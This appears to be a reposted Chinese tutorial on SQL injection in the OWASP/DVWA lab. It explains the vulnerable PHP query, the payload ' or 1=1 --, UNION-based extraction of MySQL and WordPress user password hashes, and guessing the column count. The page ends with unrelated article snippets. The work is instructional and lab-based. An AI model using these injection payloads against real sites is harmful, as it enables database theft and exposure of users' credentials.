4.sql注入攻击(OWASP实战训练)

4.sql注入攻击(OWASP实战训练)

  • 引言
  • 1,实验环境owasp,kali Linux。
  • 2,sql注入危害
  • 3,sql基础回顾
  • 4,登录owasp
  • 5,查询实例
  • (1)简单查询实例
  • (2)条件查询实例
  • (3)联合查询UNION
  • 6,如何猜前面字段数
  • 总结:

引言

Sql注入是注入漏洞的榜首
注入漏洞危害极大,sql注入为其中一种是我们常见的。

  在owasp年度top10安全问题中,注入高居榜首,sql注入攻击是通过构建特殊的输入作为参数传入web应用程序,而这些输入大都是sql语法的一些组合,通过执行sql语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据,致使非法数据侵入系统。
  1,对于web应用程序而言,用户核心数据存储在数据库中,例如MySQL、sqlserver、Oracle;
  2,通过sql注入攻击。可以获取、修改、删除数据库信息,并且通过提权来控制web服务器等其他操作;
  3,Sql注入即攻击者通过构造特殊的sql语句,入侵目标系统,致使后台数据库泄露数据的过程
  4,因为sql注入漏洞造成严重危害性,所以常年稳居owasp top10的榜首

  网站后台管理员账号也在数据库中,数据库重点攻击的方面,游戏拖库,等等。我们平常在京东或者双11检索产品时,买个笔记本,选一些条件(内存,品牌),其实我们点击按钮后就是一条sql语句,只是里面加了一些条件,包括下单也是sql语句(数据库的update操作)
  Sql语句不能随便改的,sql语句是写在后端的,前端源码是可以拿到的,后端不能拿到也不能改,前端的代码是可以改的,后端不能改。如前端限制只能输入30个字符,我们可以在发送请求时将其改掉。后端代码是看不到的,后端代码交给中间件处理,交给webserver由其作出响应。这边看到的只是前端的东西。
  我们在搜索框中搜索东西,其实执行的sql语句写死的,可能接受的品牌厂商,已经写好厂商华为或者联想。

1,实验环境owasp,kali Linux。

2,sql注入危害

  1. 拖库导致用户数据泄露;(电话,身份证信息等)
  2. 危害web等应用的安全(如网站)
  3. 失去操作系统的控制权
  4. 用户信息被非法买卖
  5. 危害企业及国家安全

3,sql基础回顾

Sql语句必须了解,主要是select语句

(1)打开sql injection模块
(2)输入1提交

ID: 1
First name: admin
Surname: admin

(3)打开源代码查看

<?php     if(isset($_GET['Submit'])){ // Retrieve data $id = $_GET['id']; $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'"; $result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' ); $num = mysql_numrows($result); $i = 0; while ($i < $num) { $first = mysql_result($result,$i,"first_name"); $last = mysql_result($result,$i,"last_name"); echo '<pre>'; echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last; echo '</pre>'; $i++; } 
} 
?>

  Sql注入是希望其查一些我们希望要的东西,表象看到的是改不了,而我们sql注入就是在其看起来不能改的情况下去改。改完以后是不能将其sql语句删除的,只能在输入的地方做一些特殊构造,来实现不可告人的目的。

 $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'"; 

比如想要查别的表,在这条语句怎么输也查不了,拖库也就没戏,我们想要的是将其整个数据库拿下。
在输入框中输入 ' or 1=1 -- dddddd 下方会出现

ID: ' or 1=1 -- dddddd
First name: admin
Surname: admin
ID: ' or 1=1 -- dddddd
First name: Gordon
Surname: Brown
ID: ' or 1=1 -- dddddd
First name: Hack
Surname: Me
ID: ' or 1=1 -- dddddd
First name: Pablo
Surname: Picasso
ID: ' or 1=1 -- dddddd
First name: Bob
Surname: Smith
ID: ' or 1=1 -- dddddd
First name: user
Surname: user

  按照原来的套路只能查询id为1的用户,而现在查询了所有的信息,这个是对方不愿给你的,但我们一步步做到了。
  Sql注入很有用也很强大,一旦你的数据库有注入点,那么所有的数据都会被抱走。
  刚才的行为就是构造了一个特殊的输入。

4,登录owasp

项目环境:owasp
表1:dvwa.user
表2:wordpress.wp_users
表3:mysql.user

root@owaspbwa:~# mysql -uroot -powaspbwa
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 582
Server version: 5.1.41-3ubuntu12.6-log (Ubuntu)Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql> 
mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| .svn               |
| bricks             |
| bwapp              |
| citizens           |
| cryptomg           |
| dvwa               |
| gallery2           |
| getboo             |
| ghost              |
| gtd-php            |
| hex                |
| isp                |
| joomla             |
| mutillidae         |
| mysql              |
| nowasp             |
| orangehrm          |
| personalblog       |
| peruggia           |
| phpbb              |
| phpmyadmin         |
| proxy              |
| rentnet            |
| sqlol              |
| tikiwiki           |
| vicnum             |
| wackopicko         |
| wavsepdb           |
| webcal             |
| webgoat_coins      |
| wordpress          |
| wraithlogin        |
| yazd               |
+--------------------+
34 rows in set (0.55 sec)
mysql> select database();		//查看当前所在库
+------------+
| database() |
+------------+
| NULL       |
+------------+
1 row in set (0.00 sec)
mysql> select user();		//此函数返回当前用户
+----------------+
| user()         |
+----------------+
| root@localhost |
+----------------+
1 row in set (0.00 sec)
mysql> select now();		//返回当前时间mysql> use dvwa;			进入库
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -ADatabase changed
mysql> show tables;					查看有哪些表
+----------------+
| Tables_in_dvwa |
+----------------+
| guestbook      |
| users          |
+----------------+
2 rows in set (0.00 sec)
mysql> DESCRIBE users;				大写可以补全,查看特定表结构
+------------+-------------+------+-----+---------+-------+
| Field      | Type        | Null | Key | Default | Extra |
+------------+-------------+------+-----+---------+-------+
| user_id    | int(6)      | NO   | PRI | 0       |       |
| first_name | varchar(15) | YES  |     | NULL    |       |
| last_name  | varchar(15) | YES  |     | NULL    |       |
| user       | varchar(15) | YES  |     | NULL    |       |
| password   | varchar(32) | YES  |     | NULL    |       |
| avatar     | varchar(70) | YES  |     | NULL    |       |
+------------+-------------+------+-----+---------+-------+
6 rows in set (0.00 sec)
//这个看的是表的结构,查数据依托表结构才能查,如类型数字、字符。
mysql> show create table users\G     创建表  \G排序

DDL构造房屋框架
Bml对数据操作
DCL数据库控制语言,体现在授权、撤销权限
DQL数据库查询语言

mysql> select * from users;				从users表查询内容,可以\G让其格式有序

查字段是需要知道表的结构的

mysql> select user,password as avatar from users;		avatar是别名
mysql> select user,password  avatar from users;		用逗号隔开是字段,后面空着相当于上面的别名,加个逗号就是三个字段了如下
mysql> select user,password,avatar from users;	

我们的sql注入就是select语句别的是不需要的。

5,查询实例

(1)简单查询实例

当前库dvwa dvwa.users

mysql> select * from users;
mysql> select user_id,first_name,last_name from users;

其他库 mysql.user

mysql> desc mysql.user;
mysql> select * from mysql.user;
mysql> select user,password,host from mysql.user;

其他库 wordpress.user

mysql> desc wordpress.user;
mysql> select * from wordpress.user;
mysql> select user,password,host from wordpress.user;

(2)条件查询实例

mysql> select user,password,host from mysql.user where user=’root’;
mysql>select user,password,host from mysql.user where user=’root’and host = ’localhost’;
mysql> select user,password,host from mysql.user where user=’root’or host = ’localhost’;
mysql> desc dvwa.users;
mysql> select user_id,first_name,last_name from dvwa.users where first_name = 'yangge';
mysql> select user_id,first_name,last_name from dvwa.users where first_name = 'yangge' or 1=1;
mysql> select user_id,first_name,last_name from dvwa.users where first_name = 'admin' and 1=2;

注意:若输入不正确在数据库中语句,可能是单引号是中文的原因

mysql> select user_id,first_name,last_name from dvwa.users where user_id=2;
mysql> select user_id,first_name,last_name from dvwa.users where user_id=7;
mysql> select user_id,first_name,last_name from dvwa.users where user_id=7 or 1=1;

(3)联合查询UNION

mysql> select user,password from mysql.user;
mysql> select user_login,user_pass from wordpress.wp_users;
mysql> select user,password from mysql.user union select user_login,user_pass from wordpress.wp_users;mysql> select user,password,host from mysql.user union select user_login,user_pass from wordpress.wp_users;
ERROR 1222 (21000): The used SELECT statements have a different number of columns

注意:union查询前后字段数必须相同,如下

mysql> select user,password,host from mysql.user union select user_login,user_pass,3 from wordpress.wp_users;

在mysql中不加引号表示字段

Select user,password,host from mysql.user where user=password;

//此句语法没错,但是password未加引号,把他当成了字段从两张表里寻找,加上引号表示字段的值

Select user,password,host from mysql.user where a.user=b.password;

//

Select user,password,host from mysql.user where user=’root’;

//选择user字段的值为root的从mysql数据库的user表中

Select user,password,host from mysql.user where user_id=1;

纯数字不能作为字段,一定是个值,加引号有可能将其作为字符串对待。

Sql注入有个大前提原来的语句动不了,只能自己加戏如

mysql> select user_id,first_name,last_name from dvwa.users where first_name = 'yangge';

这句话在数据库中是找不到的

mysql> select user_id,first_name,last_name from dvwa.users where first_name = 'yangge' or 1=1;

这句话是可以显示内容的,只是为了构造一个为真的条件,1=1是最简单的条件
我们在上一小节中讲到的在输入框中输入 ’ or 1=1 – dddddd
从源码可知

$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'"; 

上面的话变成了下面的

SELECT first_name, last_name FROM users WHERE user_id = '$id' or‘1=1’

之前是查询id号,则id就是where后的限制条件,我们将后面的条件变为真,就会将此表中的所有数据都显示出来
有些东西不能改变的就不要改变了,就改自己能改的

这是sql注入最初的样子

mysql> select user_id,first_name,last_name from dvwa.users where user_id=7 or 1=1;

假如我们让其条件为真了,是表的所有内容吗?不是,前面的字段是别人写死的,表也是别人写死的,最多最多能返回这个表中这些字段的所有值。并不是我们想要的所有东西,无论怎么玩都只是这些东西。但我们想要拖库。
这段命令不能查询别的表,这个条件只能查询这一张表,所以我们要是用union再联合一个查询语句。
我们要自加sql语句前面只能在其自己限定的表中查询,而后面可以再加一张表查询
Union并不复杂只是再加一条sql语句

mysql> select user,password,host from mysql.user union select user_login,user_pass from wordpress.wp_users;
ERROR

注意:union查询前后字段数必须相同,如下

mysql> select user,password,host from mysql.user union select user_login,user_pass,3 from wordpress.wp_users;

但是会出错,前面的字段数我们并不知道,也不能改,所以要试错,再加一个字段(数字即可,数字是可以充当字段的)
1,第一并不知道前面字段数
2,后面字段是什么也不知道
3,如果知道前面有5个字段的话,怎么去给后面字段补上5个,如何补齐字段,用数字凑

我们有个大神information_schema数据库字典
为什么sql注入学不会,需要一步一步来,我们要达到看懂的地步。

还有问题要声明一下,

mysql> select user,password,host from mysql.user union select user_login,user_pass,1 from wordpress.wp_users limit 5;
+------------------+-------------------------------------------+---------------+
| user             | password                                  | host          |
+------------------+-------------------------------------------+---------------+
| root             | *73316569DAC7839C2A784FF263F5C0ABBC7086E2 | localhost     |
| root             | *D5D9F81F5542DE067FFF5FF7A4CA4BDD322C578F | brokenwebapps |
| root             | *D5D9F81F5542DE067FFF5FF7A4CA4BDD322C578F | 127.0.0.1     |
| debian-sys-maint | *75F15FF5C9F06A7221FEB017724554294E40A327 | localhost     |
| phpmyadmin       | *D5D9F81F5542DE067FFF5FF7A4CA4BDD322C578F | localhost     |
+------------------+-------------------------------------------+---------------+
5 rows in set (0.00 sec)

上面这条语句只是查看前5行的数据,有时数据太多可能成百上千行,我们要限制行数,还有显示的内容是以前面3个字段为主的,而我们想要的是后面字段的内容,可以将前面的内容否定掉如下

mysql> select user,password,host from mysql.user where 1=2 union select user_login,user_pass,1 from wordpress.wp_users limit 5;
+-------+----------------------------------+------+
| user  | password                         | host |
+-------+----------------------------------+------+
| admin | 21232f297a57a5a743894a0e4a801fc3 | 1    |
| user  | ee11cbb19052e40b07aac0ca060c23ee | 1    |
+-------+----------------------------------+------+
2 rows in set (0.00 sec)

前面的只是我们借着来查询后面的数据,不要在意字段名,而要关注内容值。

6,如何猜前面字段数

思考:前面的查询已经写死了,如何使下面的语句成功?

mysql> select * from dvwa.users;
> union
> mysql> select user_login,user_pass from wordpress.wp_user;

方法:猜字段数

mysql> select * from dvwa.users union select 1;
mysql> select * from dvwa.users union select 1,2;
mysql> select * from dvwa.users union select 1,2,3;
mysql> select * from dvwa.users union select 1,2,3,4;
mysql> select * from dvwa.users union select 1,2,3,4,5;
mysql> select * from dvwa.users union select 1,2,3,4,5,6;
mysql> select * from dvwa.users union select user_login,user_pass,1,2,3,4 from wordpress.wp_user;

如果对前面的不关注,就加上1=2不成立的条件,只显示后面的表。

总结:

1,使用或,布尔方式,另其1=1,只能查它限制的表,想到别的地方去做不到
2,使用union,自己再加一条select语句可以查别的,但也会受到权限的限制,人家开发人员已经定义好了,让哪个用户去连接哪个库。如果此用户只对某个库有权限,可以查这个库所有数据,若对所有库都有权限,都能查询。查询时,一般情况下,对当前查询的库有所有权限。

不要想着拿到一个账号可以拿到其他所有的库,一个mysql数据库可能有很多业务库但能不能都拿到不好说。

可能有的人觉得sql注入太麻烦,有手工注入,也有自动注入(程序帮自己尝试)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/35711.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

go中的方法 func-----数据类型

本文是java学习者学go种产生的容易记混点的笔记,所以有其他编译语言的基础更好 go的方法有点像js 基础 func main() {fmt.Println("Starting")var p *string new(string)*p "hello world"demo : "demo"fmt.Println(*&demo) //这样既然也…

《饮食业油烟排放标准》:油烟净化器行业的机遇与挑战

我最近分析了餐饮市场的油烟净化器等产品报告&#xff0c;解决了餐饮业厨房油腻的难题&#xff0c;更加方便了在餐饮业和商业场所有需求的小伙伴们。 随着《饮食业油烟排放标准》的出台和严格实施&#xff0c;油烟净化器行业迎来了新的发展机遇&#xff0c;也面临着诸多挑战。…

【文献及模型、制图分享】汾河流域新型城镇化与生态韧性耦合协调时空演变及协调影响力研究

公众号新功能 目前公众号新增以下等功能 1、处理GIS出图、Python制图、区位图、土地利用现状图、土地利用动态度和重心迁移图等等 2、核密度分析、网络od分析、地形分析、空间分析等等 3、地理加权回归、地理探测器、生态环境质量指数、地理加权回归模型影响因素分析、计算…

《妃梦千年》第十二章:层层迷雾

第十二章&#xff1a;层层迷雾 苏珊遭遇险境的消息让林清婉感到紧张。她知道&#xff0c;宫中有些人对她的势力感到威胁&#xff0c;试图通过伤害苏珊来打击她。林清婉决定采取更谨慎的措施保护自己和苏珊&#xff0c;同时查明幕后黑手的身份。 几天后&#xff0c;林清婉收到…

mysql查询2个日期之间的数据,表字段只有年和月,无日期字段查询的解决

1.核心mysql查询 SELECT * FROM 表名 WHERE CONCAT(year, -, LPAD(month, 2, 0)) > 2022-02-08 AND CONCAT(year, -, LPAD(month, 2, 0)) < 2024-06-06;2.表结构 CREATE TABLE ys_datezzq (id int(10) NOT NULL AUTO_INCREMENT,bid int(10) NOT NULL DEFAULT 0 COMMEN…

使用单调队列求滑动窗口最大值

单调队列&#xff1a;队列元素之间的关系具有单调性&#xff08;从队首到队尾单调递增/递减&#xff09;&#xff0c;队首与队尾进行插入与删除操作&#xff0c;使队列保持单调递增/递减&#xff0c;由双端队列deque实现。 通过例题对单调队列进行分析掌握&#xff1a; 使用单…

力扣随机一题 6/26 哈希表 数组 思维

博客主页&#xff1a;誓则盟约系列专栏&#xff1a;IT竞赛 专栏关注博主&#xff0c;后期持续更新系列文章如果有错误感谢请大家批评指出&#xff0c;及时修改感谢大家点赞&#x1f44d;收藏⭐评论✍ 题目一&#xff1a; 2869.收集元素的最少操作次数【简单】 题目&#xff…

深度学习31-33

1.负采样方案 &#xff08;1&#xff09;为0是负样本&#xff0c;负样本是认为构造出来的。正样本是有上下文关系 负采样的target是1&#xff0c;说明output word 在input word之后。 2.简介与安装 &#xff08;1&#xff09;caffe:比较经常用于图像识别&#xff0c;有卷积网…

小脚本:文件保存后,自动上传到git

闲来无事写写小脚本 假设已经有一个脚本 echo off:START :: 获取当前脚本的路径 cd /d %~dp0:: 清空提交注释变量的值 set commit_msg:: 提示用户输入提交注释 set /p commit_msg请输入提交注释&#xff08;输入 n 退出&#xff09;::: 如果用户输入内容为 n&#xff0c;则退出…

Yolo v5实现细节(2)

Yolo v5代码实现细节 IOU系列损失 在之前的yolo v3中我们使用的定位损失主要使用的是差值平方的形式&#xff0c;通过预测边界框的参数和真实边界框的参数来进行计算求解的。 定位损失 L loc ( t , g ) ∑ i ∈ pos ( σ ( t x i ) − g ^ x i ) 2 ( σ ( t y i ) − g ^ …

云服务器部署LNMP Web环境教程合集(多版linux系统安装方法)

LNMP环境包括Linux、Nginx、MySQL和PHP&#xff0c;Nginx是一款小巧而高效的Web服务器软件&#xff0c;使用阿里云服务器搭建LNMP Web网站环境很简单&#xff0c;支持多种LNMP环境部署教程&#xff0c;可使用ROS模板部署、LNMP镜像以及基于不同Linux操作系统手动部署LNMP全流程…

MySQL进阶——触发器

目录 1介绍 2语法 3案例 3.1 insert插入数据类型 3.2 update修改数据类型 3.3 delete删除数据类型 4视图/存储过程/触发器—小结 1介绍 触发器是与表有关的数据库对象&#xff0c;指在insert/update/delete之前(BEFORE)或之后(AFTER)&#xff0c;触发并执行触发器中定义…

【设计模式】【创建型5-5】【原型模式】

文章目录 原型模式代码示例 原型模式 代码使用&#xff1a;spring框架里 bean的作用域 用途&#xff0c;以原型为模板&#xff0c;源源不断的创建&#xff08;克隆 clone&#xff09;对象。当直接创建对象的代价比较大时&#xff0c;则采用这种模式。 代码示例 public class…

字节发布Depth Anything V2深度模型,比 Depth Anything V1 更精细的细节。

欢迎点击关注下方公众号并加入官方读者交流群&#xff0c;一个有趣有AI的AIGC公众号:关注AI、深度学习、计算机视觉、AIGC、Stable Diffusion、Sora等相关技术&#xff0c;欢迎一起交流学习&#x1f497;&#xff5e; 字节发布Depth Anything V2深度模型。比 Depth Anything V1…

idea使用maven打包报错GBK不可映射字符

方法一&#xff1a;设置环境变量 打开“控制面板” > “系统和安全” > “系统”。点击“高级系统设置”。在“系统属性”窗口中&#xff0c;点击“环境变量”。在“系统变量”部分&#xff0c;点击“新建”&#xff0c;创建一个新的变量&#xff1a; 变量名&#xff1a;…

4.任务调度

1.基本知识 2.任务的状态 FreeRTOS中任务共存在4种状态&#xff1a;Running 运行态 当任务处于实际运行状态称之为运行态&#xff0c;即CPU的使用权被这个任务占用&#xff08;同一时间仅一个任务处于运行态&#xff09;。Ready 就绪态 处于就绪态的任务是指那些能够运行&…

单片机学习记录

一&#xff0c;单片机及开发板介绍 1&#xff0c;基本介绍 单片机&#xff0c;英文Micro Controller Unit&#xff0c;简称MCU内部集成了CPU、RAM、ROM、定时器、中断系统、通讯接口等一系列电脑的常用硬件功能单片机的任务是信息采集(依靠传感器)、处理(依靠CPU)和硬件设备(…

MySQL——子查询和嵌套查询

where &#xff08;计算出的值&#xff09; 本质&#xff1a;在where语句中嵌套一个子查询语句 代码演示&#xff1a; -- 1. 查询数据库结构-1 的所有考试结果&#xff08;学号&#xff0c;科目名称&#xff0c;成绩&#xff09;&#xff0c;降序排列-- 方式一&#xff1a;使…

前后端中的cookie和session

实际上&#xff0c;在大多数Web应用中&#xff0c;这个过程通常是自动处理的&#xff0c;不需要手动操作。以下是标准流程&#xff1a; 登录时&#xff1a;当用户成功登录后&#xff0c;服务器会创建一个新的Session&#xff08;如果之前还没有的话&#xff09;&#xff0c;并生…

CF训练1

1985E 看完题目之后 &#xff0c; 第一想法是最暴力的On3 &#xff0c; 对于每个i &#xff0c;j &#xff0c;k &#xff0c; 如果它们符合k的体积的话&#xff0c;我们就可以把这个长方体一格一格的移动 &#xff0c; 对于x方向 &#xff0c; 我们一共能移动a - i次 &#x…